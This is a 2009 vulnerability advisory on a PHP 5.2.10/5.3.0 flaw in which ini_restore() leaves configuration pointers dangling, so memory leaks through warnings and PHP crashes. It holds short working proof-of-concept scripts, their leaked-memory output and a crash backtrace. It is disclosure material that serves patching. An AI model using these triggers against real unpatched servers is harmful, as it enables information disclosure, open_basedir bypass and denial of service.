[ PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ]
Author: Maksymilian Arciemowicz
Date:
- - Dis.: 10.07.2009
- - Pub.: 06.08.2009
Risk: High
Affected Software:
- - PHP 5.3.0
- - PHP 5.2.10
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
http://lu2.php.net/manual/en/function.ini-restore.php
ini_restore ? Restores the value of a configuration option
ini_restore ( string $varname )
- --- 1. PHP 5.2.10/5.3.0 (zend_ini.c) Memory Disclosure ---
The main problem exist in restoring php config environments. To demonstrate the problem, we need to declare variables via ini_set() function. When we try use ini_restore(), variables in class PG() will indicate any part of memory.
- ---zend_ini.c---
static int zend_restore_ini_entry_cb(zend_ini_entry *ini_entry, int stage TSRMLS_DC) /* {{{ */
{
if (ini_entry->modified) {
if (ini_entry->on_modify) {
zend_try {
/* even if on_modify bails out, we have to continue on with restoring,
since there can be allocated variables that would be freed on MM shutdown
and would lead to memory corruption later ini entry is modified again */
ini_entry->on_modify(ini_entry, ini_entry->orig_value, ini_entry->orig_value_length, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage TSRMLS_CC);
} zend_end_try();
}
if (ini_entry->value != ini_entry->orig_value) {
efree(ini_entry->value);
}
ini_entry->value = ini_entry->orig_value;
ini_entry->value_length = ini_entry->orig_value_length;
ini_entry->modified = 0;
ini_entry->orig_value = NULL;
ini_entry->orig_value_length = 0;
if (ini_entry->modifiable >= (1 << 3)) {
ini_entry->modifiable >>= 3;
}
}
return 0;
}
- ---zend_ini.c---
Flag modified will be reset, and we can not considered modified variable.
We don't check value of ini_entry->on_modify() and PG() will be now out of memory range.
To demonstrate this issue
- ---example0 (5.2.10/5.3.0)---
127# uname -a && php -v
OpenBSD 127.cxib 4.6 GENERIC#0 i386
PHP 5.2.10 with Suhosin-Patch 0.9.7 (cli) (built: Jul 5 2009 21:43:12)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH
127# cat /var/www/www/sess.php
<?php
ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?>
127# php /var/www/www/sess.php AAA
PHP Warning: session_start(): open($|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory (2) in /var/www/www/sess.php on line 5
PHP Warning: Unknown: open($|456789ABCDEF/sess_c7lv2k3bndfi25mhohq0nm7s06, O_RDWR) failed: No such file or directory (2) in Unknown on line 0
PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct ($|ma: no-cache) in Unknown on line 0
127# php /var/www/www/sess.php
PHP Warning: session_start(): open(^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory (2) in /var/www/www/sess.php on line 5
PHP Warning: Unknown: open(^j|456789ABCDEF/sess_o9urrs37iabfg3tqvjuh07c1l1, O_RDWR) failed: No such file or directory (2) in Unknown on line 0
PHP Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (^j|ma: no-cache) in Unknown on line 0
- ---example0 (5.2.10/5.3.0)---
The main problem is started in ini_restore("session.save_path"). To show this issue, we need use some function with PG() inside (like: session_start()).
- ---example1 (5.3.0)---
127# uname -mrs && php -v
NetBSD 5.0 i386
PHP 5.3.0 (cli) (built: Jul 15 2009 23:47:25)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyrght (c) 1998-2009 Zend Technologies
127# cat /www/file.php
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");
include("B");
?>
127# php /www/file.php
PHP Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s): (4?e»X?p») in /www/file.php on line 7
Warning: include(): open_basedir restriction in effect. File(B) is not within the allowed path(s): (4?e»X?p») in /www/file.php on line 7
PHP Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7
Warning: include(B): failed to open stream: Operation not permitted in /www/file.php on line 7
PHP Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7
Warning: include(): Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in /www/file.php on line 7
127# curl http://localhost/file.php
<br />
<b>Warning</b>: include() [<a href='function.include'>function.include</a>]: open_basedir restriction in effect. File(B) is not within the allowed path(s): (?e»Hup») in <b>/www/file.php</b> on line <b>7</b><br />
<br />
<b>Warning</b>: include(B) [<a href='function.include'>function.include</a>]: failed to open stream: Operation not permitted in <b>/www/file.php</b> on line <b>7</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'B' for inclusion (include_path='.:/usr/pkg/lib/php') in <b>/www/file.php</b> on line <b>7</b><br />
- ---example1 (5.3.0)---
Variable PG(open_basedir) is now out of range. So any function (like: include()) with
php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));
will print memory
examples:
- ---
Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (©f»ESSID) in /www/ssij.php on line 8
Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (,?f»aaaaaa) in /www/ssij.php on line 8
Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (?¬f»ESSID) in /www/ssij.php on line 8
Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (?e»ef_root) in /www/ssij.php on line 8
Warning: ini_restore() [function.ini-restore]: open_basedir restriction in effect. File() is not within the allowed path(s): (4e»r.ini) in /www/ssij.php on line 8
- ---
Variables in class PG, may take any value.
So code such as
if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC))
can be manipulated.
But not only zend_ini.c have issue. When we try use ini_set() and ini_restore() for error_log, php will crash.
Function OnUpdateErrorLog, dosen't check that new_value is empty (null point). It should provide to crash.
- ---main.c---
static PHP_INI_MH(OnUpdateErrorLog)
{
...
/* Only do the safemode/open_basedir check at runtime */
if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS)
&& strcmp(new_value, "syslog")) {
...
- ---main.c---
strcmp(3) will check new_value. So new_value can not be NULL.
here:
STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals)
default error_log is NULL
...("error_log", NULL,...
so if we put some string, and remove it, php should crash
127# php -r 'ini_set("error_log","A");ini_restore("error_log");'
Segmentation fault (core dumped)
127# gdb -q php
(gdb) r -r 'ini_set("error_log","A");ini_restore("error_log");'
Starting program: /usr/local/bin/php -r 'ini_set("error_log","A");ini_restore("error_log");'
Program received signal SIGSEGV, Segmentation fault.
0x288ee410 in strcmp () from /lib/libc.so.7
bt:
#0 0x288ee410 in strcmp () from /lib/libc.so.7
#1 0x081c7b85 in OnUpdateErrorLog (entry=0x28a65a80, new_value=0x0,
new_value_length=3, mh_arg1=0x38, mh_arg2=0x83d5420, mh_arg3=0x0, stage=16)
at /usr/ports/lang/php5/work/php-5.3.0/main/main.c:354
#2 0x0824cb85 in zend_restore_ini_entry_cb (ini_entry=0x28a65a80, stage=16)
at /usr/ports/lang/php5/work/php-5.3.0/Zend/zend_ini.c:55
#3 0x0824d3f5 in zend_restore_ini_entry (name=0x28a1e36c "error_log",
name_length=10, stage=16)
...
Functions like OnUpdateErrorLog, should check, that new_value is not a NULL pointer.
- --- 2. Fix ---
(5.3.0):
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c
(5.2.10):
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/Zend/zend_ini.c
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/main/main.c
- --- 3. Greets ---
stas
- --- 4. Contact ---
Author: Maksymilian Arciemowicz